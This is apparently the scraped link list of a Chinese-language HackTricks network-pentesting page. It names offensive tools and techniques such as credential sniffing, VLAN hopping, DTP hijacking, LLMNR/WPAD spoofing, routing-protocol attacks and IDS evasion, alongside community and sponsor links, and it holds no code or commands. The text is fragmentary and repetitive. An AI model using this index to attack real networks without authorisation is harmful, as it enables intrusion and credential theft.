加入 💬 或 或在Twitter 🐦 上关注我们。

通过向和 github仓库提交PR来分享您的黑客技巧。

🤩
masscan
udp-proto-scanner
Pentesting Wifi
IDS and IPS Evasion
Nmap Summary (ESP)
https://github.com/lgandx/PCredz
dtpscan.sh
DTPHijacking.py
https://github.com/nccgroup/vlan-hopping---frogger
Lateral VLAN Segmentation Bypass
scapy
voiphopper
DHCPing
GLBP & HSRP Attacks
FRRouting
EIGRP Attacks
Coly
Above
此处
欺骗 LLMNR、NBT-NS 和 mDNS
如何使用 Responder 模拟服务
欺骗 WPAD
此处
欺骗 SSDP 和 UPnP 设备
欺骗 SSDP 和 UPnP 设备
在这里
http://www.faceook.com
在这里
在这里
在这里
includeSubdomains
https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
htARTE(HackTricks AWS红队专家)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFT
Discord群
电报群
@hacktricks_live
HackTricks
HackTricks Cloud
从外部发现主机
ICMP
前一节
htARTE(HackTricks AWS Red Team Expert)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFT收藏品
Discord群组
电报群组
@hacktricks_live
HackTricks
HackTricks Cloud
https://go.intigriti.com/hacktricks
https://go.intigriti.com/hacktricks
Register - IntigritiRegister - Intigriti
Register - IntigritiRegister - Intigriti
Logo
Logo